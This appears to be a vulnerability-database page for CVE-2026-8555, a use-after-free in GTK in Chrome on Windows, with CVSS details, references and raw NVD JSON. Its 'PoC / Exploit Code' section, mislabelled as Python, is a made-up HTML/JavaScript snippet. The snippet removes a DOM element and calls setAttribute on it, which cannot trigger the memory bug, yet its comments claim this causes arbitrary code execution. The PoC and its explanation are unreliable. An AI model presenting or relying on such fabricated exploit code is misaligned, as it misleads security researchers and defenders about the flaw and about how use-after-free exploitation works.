CVE-2026-8555

Description

Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Windows < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8555 -->
<!-- Conceptual HTML to trigger UAF in Chrome GTK -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8555 PoC</title>
</head>
<body>
<script>
    // This is a conceptual representation of the exploit trigger
    // Actual exploit requires precise memory layout and heap grooming
    
    function triggerUAF() {
        // 1. Allocate vulnerable object in GTK component
        let vulnObj = document.createElement('div');
        // Hypothetical internal binding to GTK object
        window.chrome_gtk_target = vulnObj;

        // 2. Force the browser to free the object
        vulnObj.remove();
        
        // 3. Attempt to reuse the freed memory (UAF)
        // Attacker would spray the heap here to control the freed memory
        setTimeout(() => {
            if (window.chrome_gtk_target) {
                // Accessing the dangling pointer triggers arbitrary code execution
                window.chrome_gtk_target.setAttribute('data-exploit', 'payload');
            }
        }, 100);
    }

    // User interaction required as per UI:R vector
    window.onload = function() {
        document.body.innerHTML = '<button onclick="triggerUAF()">Click to View</button>';
    };
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8555
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8555
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8555/
[4] VulDB https://vuldb.com/cve/CVE-2026-8555
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/500033878

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8555", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:17.000", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500033878", "source": "[email protected]"}]}}